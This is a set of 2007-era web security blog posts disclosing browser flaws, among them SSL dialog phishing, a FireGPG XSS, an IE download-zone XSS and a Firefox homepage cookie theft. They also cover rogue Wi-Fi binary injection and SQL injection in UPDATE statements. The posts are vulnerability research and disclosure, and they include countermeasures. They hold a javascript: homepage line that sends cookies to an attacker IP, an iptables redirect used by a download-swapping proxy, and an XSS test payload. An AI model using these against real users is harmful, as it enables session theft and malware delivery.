IBM Application Security Insider

Reflections on SSL certificate validation dialogs

Lately I've been messing around with SSL validation dialogs and I've found that they may help in conducting a phishing attack under certain circumstances.

When an SSL site with a valid certificate includes an external resource (such as an iframe) which provides an invalid certificate (e.g: an expired certificate), IE6 or Firefox2 will pop up a dialog-box which to the naive user seems related to the browsed site, and not to an external content.

So how can this be exploited you ask? Let's assume the attacker wants to impersonate to https://www.some.site/ , which happens to have an expired certificate. The attacker will then register https://www.some.s1te/ (or any other URL which is similar to www.some.site) and will get a valid certificate for it (this is not an easy task though). Then he will embed a hidden iframe which sources from https://www.some.site/.

When the victim browses to https://www.some.s1te/  the browser will pop up a dialog message saying that the certificate has expired, but the Common Name of the certificate will be www.some.site!, This may convince the victim that he actually has surfed to www.some.site.

 

This video demonstrates the issue under Internet Explorer 6:

This video demonstrates the issue under Firefox 2.x.x:

 

The problem is more severe under Internet Explorer 6 because it states that the remote peer is valid, and when you examine the certificate you notice that the Common Name is indeed the one that attacker is attempting to  impersonate.

In Firefox 2.x the pop-up dialog does not state that the Common Name is valid, but if you know the internals of the certificate validation test you also know that the Common Name is checked before the certificate's expiration, so if Firefox pops up a window regarding the expiration invalidity, it means that the Common Name has passed the validation test, and when one examines the certificate, it will indeed contain the impersonated one, as illustrated in the above video.

This problem is in fact inherent in the way the browsers present the error message. They don't distinguish between a failure of an external content's certificate validation test and a failure of the site's certificate validation test.  I would expect them to explicitly indicate that the certificate check is against an external source. Internet Explorer 7 actually does that, as illustrated below.

 

This image illustrates a failure of a certificate validation check in IE7 against an external source cert:

This image illustrates a failure of a certificate validity check in IE7 against the browsed site's cert:

I really like IE's solution because they could have implemented it by simply adding the missing information to the original dialog . The fact that they have two completely different error dialog windows makes the chance of a user mistakenly regarding the failure of an external certificate test as a failure of the browsed site certificate test minute or even zero.

(FireGPG) Browser-based XSS

FireGPG is a Firefox extension which brings an interface to GPG functions. It's capable of signing, verifying, encrypting and decrypting text on the fly using GnuGPG.

It also integrates with Gmail, making it possible to run GPG functions on mail messages. One of its features is auto-verification of mail messages, which are detected as PGP-signed.

After a mail message has been verified, it is printed below the message whether the signature matches the message and if it does, issuer name is printed as well.

However (in version 0.46), the issuer name is not sanitized or validated against malicious input, so it makes FireGPG vulnerable to Cross Site Scripting. If the issuer name (which is provided with the public key) contains a malicious JavaScript, it will be executed under Gmail's context!. An XSS under Gmail allows the attacker to impersonate to the victim by controlling his mailbox, steal his cookies and so on.

To exploit this vulnerability, the attacker sends the victim a message signed with his malicious PGP key, and then convinces him to import the attacker's public key block  (which contains the malicious issuer name). The key can be imported manually, or by using a public key repository. It is reasonable that the victim will not notice the malicious issuer name since public keys are usually distributed as base64 blocks, or identified by their Key ID when retrieved from a public key server. Once the victim views the signed message in his mailbox, FireGPG will automatically verify it and inject the malicious payload into Gmail's DOM, which is immediately  executed. The screenshot below illustrates an injection of a javascript into Gmail's DOM by setting the issuer name to "<script>alert(document.domain)</script>"

 

This type of XSS is interesting because a browser bug leads to an XSS. it is both similar and dissimilar to DOM-based XSS.  It resembles to DOM-based XSS because the attack cannot be detected by the affected domain. But unlike DOM-based XSS, flaws of this variant are not originated from the developers of the affected domain.

Looking at FireGPG's case, Gmail is not responsible for the flaw, yet the XSS occurs under its DOM. Looking at Yair Amit's last post, the website which an HTML file is downloaded from is not responsible for the XSS, Internet Explorer is.

It should be noted that FireGPG's team has been very responsive and it took them  about 21 hours since our disclosure to provide a remedy to the flaw. This shows they are security aware and are committed to the protection of their end-users. It is an excellent example of how to handle security related bugs correctly. Many vendors do not distinct security bugs from other bugs, IMHO this is a bad approach - security related bugs should be fixed as soon as possible, and not in the next service pack.

Internet Explorer Download Zones Mix-up leads to XSS

Do you worry about security when downloading and opening HTML files from the Internet? I've been asking around over the past few days, and most people seem to feel they can rely on IE's My-Computer zone security restrictions to keep safe.

A few days ago, I discovered a security flaw in Internet Explorer that could - under certain conditions - be exploited against a large number of web-applications. The flaw results in XSS holes in websites that allow the downloading of user-controlled HTML files (for example, webmail and forum services). The websites themselves don't necessarily do anything wrong. Their susceptibility to attack is due to improper behavior by Internet Explorer.

Same Origin Policy is supposed to ensure that once HTML is downloaded to the user's machine and opened locally, it can no longer access, or pose a threat to the source website – as it is no longer affiliated with that website's domain. Relying on browsers to apply this policy, websites frequently allow users to download original, unaltered versions of attachments, to their local-systems. Usually that's fine, but it seems that there is a download scenario in IE that does not follow this guideline.

It turns out that if you download an HTML file via IE and click the "Open" button in the "File Download" dialog (a fairly common scenario), instead of IE displaying the content from the local hard-drive (in the My-Computer Security Zone, which is very restrictive by default) the HTML is displayed in the context of the domain from which the file was downloaded. This behavior is neither expected nor desired.

If the downloaded HTML file contains a malicious JavaScript code, it will automatically be executed by Internet Explorer in the context of the original website. The risks this problematic behavior poses to IE users are equivalent to those of XSS. Since the problem lies with Internet Explorer and not any specific website, the risk to users is widespread. In effect it makes a large amount of websites susceptible to XSS to some extent.
In order to better describe the problem, let's consider the case of webmail services. Most webmail services offer a preview feature that allows the user to view an HTML version of attachments. The generated HTML is scanned and sanitized in order to ensure that it doesn't contain hazardous characters when embedded within the site.

The same principle is applied to HTML attachments. When they are viewed in the context of the web-application, all potentially harmful content (such as scripts) is stripped. While these measures protect users from security threats such as XSS, the design and functionality of the HTML attachment file might be damaged as a result, and for this reason webmail services offer a "Download" feature that lets the user download the original content of the attachment. Surfers can – and frequently do – use the "Download" feature when the sanitized version of the attachment is not satisfactory. This fact might be taken advantage of by a malicious attacker trying to exploit the aforementioned flaw.

While people are already educated to be suspicious of opening executable attachments, most people (and perhaps technical people in particular) are likely to open HTML attachments rather freely. HTML attachments are perceived as being with very small risk thanks to the My-Computer Zone protection mechanisms embedded in Internet Explorer. I therefore believe that despite the generic warning displayed in IE's "File Download" dialog (see "Flow of attack" section below), IE's improper behavior could be used by malicious attackers to mount attacks against visitors in a variety of web applications.

Microsoft was notified about the problem, but decided to not flag it as a security threat that has to be fixed, relying on the general warning message embedded in the "File Download" dialog.

For the reasons I described above, I believe it is important to warn users about this flaw, in order to help to mitigate the risk it poses to potential victims.

A brief review of several popular web-applications (forum infrastructures and webmail services) has shown that the flaw described above is fully exploitable in many of them. Until this flaw is fixed, IE users are potential victims when visiting and downloading attachments in web-applications of this type.

Vulnerable web-applications can protect their users by ensuring that the domain from which files are downloaded is different to that used by the code logic of the application itself. However, since this change isn't trivial, it's likely that many websites will remain vulnerable in the near future.

I therefore recommend thinking twice before opening HTML attachments with the "Open" button in Internet Explorer.

Flow of attack:

1. Victim receives an HTML attachment and decides to download it in order to watch it properly.
2. Victim clicks on the "Open" button.
    
3. The HTML is displayed by Internet Explorer in the context of the source website. JavaScript embedded in the downloaded HTML file has full access to the resources of the source website, and can fully impersonate the victim on the source website while she/he is calmly viewing the supposedly innocent HTML attachment.
   

Firefox Homepage JavaScript Execution

Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you to set an inline JavaScript as a homepage.

The problem inherent with this is that the installed script is executed in the context of the last visited URL, giving an attacker the opportunity to access the domain of last the visited webpage.

For example, the attacker can run a specially crafted HTTP server which logs all incoming requests, and sends an HTTP Redirect reply that contains the victim's real homepage URL.

The attacker must then somehow convince the victim to change his homepage to javascript:location.href='http://<ATTACKER_IP>/'
+document.cookie

When the user clicks on the homepage button, he will be redirected to his original homepage, without noticing that his cookies have been stolen!

Although this is not an invisible attack, nor a very effective one (how often do you click on the Homepage button?), its strength is that it is persistent. Most people do not change their homepage frequently, so once the user has been lured into changing his homepage, months may pass before he discovers that his cookies have been stolen.

It should be mentioned that IE7 rejects inline JavaScripts in the homepage field, thus blocking this kind of attack.

Now it is Yair's turn to find a new vulnerability in Internet Explorer :)

Untrusted Gateways - Open wireless networks

One should always ask himself if the wireless gateway he uses is trustworthy.

Depict yourself the following situation:

You are sitting in a coffee shop, seeking for wireless networks. what are you gonna do next? connect to a network which SSID's is similar to the coffee shop's name, or if none exists, connect to the first open network you find.

If the coffee shop doesn't have a wireless network, it gives a malicious user an opportunity to run his own network, on behalf of the coffee shop to attract clients. Otherwise, he will have to spoof the legitimate access-point's MAC, and race for new clients.

Everyone knows that open wireless networks are prone to sniffing, but most people are unaware of the fact that active attacks could take place as well, and it is especially easy if the malicious user controls the gateway.

This video demonstrates how an exe file is injected transparently into an innocent HTTP session.

What happens behind the scenes is the use of a transparent proxy I built, which terminates HTTP traffic, and searches for exe download patterns (Content-Type:\s+application/octet-stream to be exact). When it matches an exe pattern, it replaces the response with a malicious binary. The proxy runs on the gateway, which is fixed with an iptables rule (iptables -t nat -A PREROUTING -i [interface] -p tcp --dport 80 -j REDIRECT --to-ports [proxy interface]) that forwards all transit HTTP via the proxy.

By the use of PKI you can ensure you pass your malicious gateway without data mutation.
So consider yourself one of the following countermeasures:

1) Download binaries from SSL sites only (and verify the certificate!)
2) Use an SSL proxy (and again verify the certificate)
3) Tunnel traffic through a VPN
4) Tunnel traffic through SSH
5) Download signed binaries, and verify the digital signature.

Favorites Gone Wild

While browsing the Internet a few days ago I came across a disturbing behavior of Internet Explorer.

Internet Explorer has a feature that allows users to load a Favorite located at the root of the Favorites tree by typing its full name into the address bar. Let's say we have a Favorite named 'Watchfire' pointing to www.watchfire.com. Whenever we wish to visit www.watchfire.com, we can simply type 'Watchfire' into the address bar instead of using the mouse to select it from the Favorites center.

While this feature looks pretty innocent, I had a bad feeling about it, probably because the address bar is mainly perceived as a means for entering URLs into the browser.

Therefore, I decided to play a bit with this feature.

I browsed to Watchfire's website and added it as a Favorite, but instead of naming it "Watchfire", I used the URL of a different site (let's call it 'www.some.site'), wondering how IE would react.

From that moment on, every time I attempted to visit www.some.site by typing its URL in the address bar, the browser took me to Watchfire's website instead!

This problematic and unexpected behavior opens an aperture for persistent phishing attacks against victims. If an attacker manages to plant a malicious Favorite into a victim's browser, he/she could force the victim's browser to enter into an attacker-controlled website whenever the victim tries to enter legitimate websites.

Since most of the phishing scams rely on luring victims to click on malignant links, surfers are educated to be suspicious and careful before clicking on links they receive, and instead, they are encouraged to enter sensitive sites by typing in URLs manually.

Although this type of attack is far from invisible, as there are two clear indications that a wary surfer could easily notice (a new Favorite added to the Favorites list and the URL in the address bar changing as a result of the Favorite loading), I still think this attack might work pretty well against regular, unsuspecting surfers, especially as it exploits the trust most of us have in entering the URL address by ourselves.

In addition, some of the attack traces can be covered using standard phishing techniques, such as redirecting the browser to a closely spelled phishing URL in comparison to the original URL.

In a real-world scenario, the main obstacle to overcome in order to mount a malicious Favorites attack, would be finding a way to inject the malicious Favorite into the victim's Favorites center.

In order to overcome this technical limitation, various social engineering techniques can be used.

The "Add A Favorite" pop-up dialog of IE only presents the title of the about-to-be-created Favorite, and not the URL it points to. This lack of information could be utilized by a malicious individual mounting a social-engineering attack.

Social Engineering attacks have many shortcomings. As a result, their success rate is usually far from perfect. An automated and transparent way of planting Favorites on target computers could significantly leverage the impact and danger this bug poses to innocent surfers.

Does anybody know a way to automatically inject attacker-controlled Favorites into a victim's system? :)

IIS 5.1 Patched (Dangling Pointer)

Yesterday was Microsoft's patch Tuesday - a very exciting day for all of us. One of the vulnerabilities that was fixed is the IIS 5.1 dangling pointer vulnerability that Adi Sharabani and I revealed.

This vulnerability was fixed a long time after its original public disclosure date (it was known since December 2005). At first, it was considered a DoS vulnerability and therefore Microsoft decided that it wasn't important enough to fix in a security update and deferred it to a service pack instead.

While the importance of a DoS issue is debatable (as a previous reply to our blog suggests), it is not the subject of this post. But I will just say that I personally think that DoS is a very severe issue.

Anyway, as our research proved, this Dangling Pointer bug could be exploited for arbitrary remote code execution and therefore, it was quickly and efficiently patched by Microsoft (kudos to Microsoft's Response Team who was very responsive and co-operative during the disclosure process)

An interesting thing to note about yesterday is the old debate about managed code (like .NET and Java) vs. unmanaged code (like C and C++).

This debate has many aspects and viewpoints to it and can be discussed for long hours.

Before I dive into the point I'm trying to make, I want to say that in my opinion, security problems lie on the shoulders of developers and nobody else is to blame. Secure code provides good security. Obviously, secure frameworks can help, but it is never the complete solution.

The first point yesterday's patch Tuesday made in this debate is that managed code provides better security for dangling pointer problems. This means that if the IIS web server was developed using a managed code framework, it was not vulnerable to this kind of a remote code execution exploit. This doesn't mean that remote execution vulnerabilities cease to exist when using managed code, but rather that their impact usually becomes a DoS instead.

On the other hand, yesterday's patch included a fix for another two .NET vulnerabilities. This is amusing because the impact of these two  vulnerabilities was that even if the best developer in the world developed the most secure .NET-based software, it was still vulnerable to a remote execution exploit because of the framework it used. This is a big minus for managed code.

We will reveal more specific details about our research into the exploitation of dangling pointer bugs for remote code execution and about this specific vulnerability at the BlackHat conference -

http://www.blackhat.com/html/bh-usa-07/bh-usa-07-speakers.html#Afek

Here's Microsoft's official  advisory -

 http://www.microsoft.com/technet/security/Bulletin/MS07-041.mspx

SQL Injections in UPDATE/INSERT Statements

Lately I have been researching SQL injections that occur anywhere other than the WHERE clause of SELECT SQL queries (a research that was originally done together with Yair Amit). In particular, injections that occur inside INSERT/UPDATE statements (again, not in the WHERE clause).

The common SQL Injections covered in earlier research papers, usually dealt with a scenario, where user input, is directly used to create dynamic SELECT SQL queries, such as:

Statement = "SELECT count(*) from users WHERE userId='$USER_ID' and password='$USER_PASS'"

As mentioned above, user input is used inside the WHERE clause of a SELECT query, and that is where the SQL Injection may occur.

Our research deals with common scenarios, where user input is embedded as a part of a dynamic INSERT or UPDATE statement, in places other than the WHERE clause, for example:

Statement = "UPDATE users set firstName='" + $FIRST_NAME + "', lastName='" + $LAST_NAME + "' where userId=..."

Anyway, I'll probably post our findings sometime in the near future, and although there's nothing groundbreaking about it, it does summarize the techniques for detecting and exploiting such SQL Injections in a well organized manner.

During the research, I tried finding resources on SQL injections in INSERT/UPDATE statements, and I stumbled upon this article, which I managed to somehow overlook when it first came out.

The author of the article refers to another research paper that was written originally in Russian, and shows how to use the MySQL benchmark() function for exploiting Blind SQL injections, and then he goes on to present a cleaner and more elegant way of exploiting Blind SQL injections, without the overhead and drawbacks of using the benchmark() function.

So, I highly recommend reading this article, especially if you're stuck with trying to exploit SQL INSERT/UPDATE statements.

Dangling the Pointer for Fun and Profit - BH USA 2007

I was just contacted by BlackHat to let me know that my presentation (Dangling the Pointer for Fun and Profit) was accepted to be a part of BH USA 2007 convention. I believe that this presentation will be very interesting and beneficial both for application developers as well as security experts.